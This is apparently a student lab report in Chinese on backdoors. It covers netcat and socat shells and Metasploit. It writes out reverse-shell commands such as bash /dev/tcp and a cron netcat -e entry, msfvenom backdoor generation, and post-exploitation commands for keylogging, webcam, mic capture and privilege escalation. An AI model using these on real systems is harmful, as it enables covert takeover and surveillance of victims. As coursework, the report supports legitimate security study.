20165229 NetSec Exp2后门原理与实践

20165229 NetSec Exp2后门原理与实践


一、基础问题

  1. 例举你能想到的一个后门进入到你系统中的可能方式?
  • 打开一个挂码网页,会自动下载安装并执行木马程序,在系统中留下后门。
  • 将不明来源的u盘或硬盘接入个人电脑。
  • 在非官方网站下载软件,可能绑有可执行文件。

2.例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows:设置为开机自启动、修改注册表项、用户执行带有后门的可执行文件
  • Linux:通过crontab功能将后门设为定时启动;也可以通过对正常软件绑定注入shellcode

3.Meterpreter有哪些给你映像深刻的功能?

  • 植入后门后可以控制被控主机的shell,获取主机的录音录像、截图、键盘输入等。

4.如何发现自己有系统有没有被安装后门?

  • 安装杀毒软件,事实监控电脑,定时杀毒。
  • 防火墙打开,看有没异常窗口。


二、常用后门工具。

1.natcat

是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
Mac: 系统自带,"man nc",查看其使用说明。

实验步骤

1.Mac获取Linux Shell
(1).前期准备,获得主机ip mac ifconfig

图1

(2).主控端/服务端MAC运行指令如下,5229是nc监听的端口号。
nc -l 5229

(3).受控端/客户机运行bash -i >& /dev/tcp/192.168.199.101

(4).Mac主机显示Linux命令行提示符,并可运行任何Linux指令。

图2

2.Linux获取Mac Shell

(1)Linux启动监听
nc -l -p 5229

(2).Mac连接Linux
bash -i >& /dev/tcp/192.168.20.154/5229 0>&1

(3).LInux获取Mac Shell

图3

3.使用nc传输文件
(1)使用nc -l 5229 监听5229端口
(2).Kali反弹连接Mac的5229端口。nc 192.168.199.101 5229
(3).连接成功,传输消息。

图4

图5


三、Meterpreter


后门就是一个程序。

  • 传统的理解是:有人编写一个后门程序,大家拿来用。后来有人编写一个平台能生成后门程序。这个平台把后门的
    基本功能(基本的连接、执行指令),
    扩展功能(如搜集用户信息、安装服务等功能),

    • 编码模式,
    • 运行平台,
    • 以及运行参数
    • 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
  • 典型的平台包括有

    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion

实验内容


任务一:使用netcat获取主机操作Shell,cron启动。

(1)在Mac的环境下,监听5229端口.
(2).在Kali的环境下,用crontab -e制定编辑一条定时任务
(3).在最后一行添加03 * * * * /bin/netcat 192.168.199.101 5229 -e /bin/sh意思是在每个小时的第3分钟反向连接Windows主机的5229端口
(4)到达时间后在Mac输入ls

图6



任务二:使用socat获取主机操作Shell, 任务计划启动
  • socat简介:
    • socat是一个多功能的网络工具,名字来由是“ Socket CAT”,可以看作是netcat的N倍加强版。
    • socat是一个两个独立数据通道之间的双向数据传输的继电器。这些数据通道包含文件、管道、设备(终端或调制解调器等)、插座(Unix,IP4,IP6 - raw,UDP,TCP)、SSL、SOCKS4客户端或代理CONNECT。socat支持广播和多播、抽象Unix sockets、Linux tun/tap、GNU readline 和 PTY。它提供了分叉、记录和进程间通信的不同模式。
    • socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip,tcp,udp,ipv6,pipe,exec,system,open,proxy,openssl,socket等。

将mac作为受害机,Kali作为攻击机

实验步骤

(1).在Mac上下载socat,终端输入命令brew install socat

图7
(2).在受害机上执行socat tcp-l:5229system:bash,pty,stderr指令,进行端口转发/
(3).在攻击机上执行socat - tcp:192.168.199.101:5229获取受害机shell操作权(Ip为受害机IP)。

图8



任务三:使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

(1)在Kali上执行指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.218 LPORT=5229 -f exe > 20165229_backdoor.exe,生成一个后门程序,这里的IP地址应该是攻击机的IP,也是就是Kali的ip。

图9

(2).我通过ncat.exe -l 5229 > 2016529_backdoor.exe无法连接,就直接将可执行文件复制到了Windows中。
(3).在Kali中使用命令msmsfconsole指令进入msf控制台。
(4).接着使用一连串命令进行监听。

use exploit/multi/handler      //handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.199.218 //这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5229 //应该和生成的后门端口相同
exploit //开始监听

图10

(5).在Windows中运行后门。

图11
(6).监听成功

四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在监听成功后,可以通过一连串的命令来控制Windows。

record_mic //截获一段音频,-d选项设置录制时间
webcam_snap//使用摄像头拍照
keyscan_start //监听键盘输入
keyscan_dump //读取键盘输入
screenshot //进行截屏
getuid//查看当前用户
getsystem //指令进行提权
webcam stream //摄像头进行录像
sysinfo //获得目标系统信息,机器名,操作西厅等
ps //获得受害机上进程信息

功能实在太强大了,我就随意po几个图。

监听键盘输入

获取一段录音

使用摄像头拍照


三、实验中遇到的问题

在前面任务一二,我都用Mac与Linux完美的配合,但到任务三就卡住了,mac无法运行.exe文件,于是我在网上看了很多教程,想把它做出来。

 msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
sudo ./install

这是生成mac可执行文件的指令,但是传输过程中不会弹传输成功,虽然能有文件,也不能运行,实在无计可施,就用了虚拟机。希望老师给点指点。

四、实验总结

本次试验非常有趣,收获颇丰,在拍照的瞬间感觉自己像个黑客,实验过程很艰辛,但是最后还是很有成就感,以后应该努力学习网络攻防技术,可以更好的了解黑客入侵的过程。

原文地址:https://www.cnblogs.com/zkkj/p/10588002.html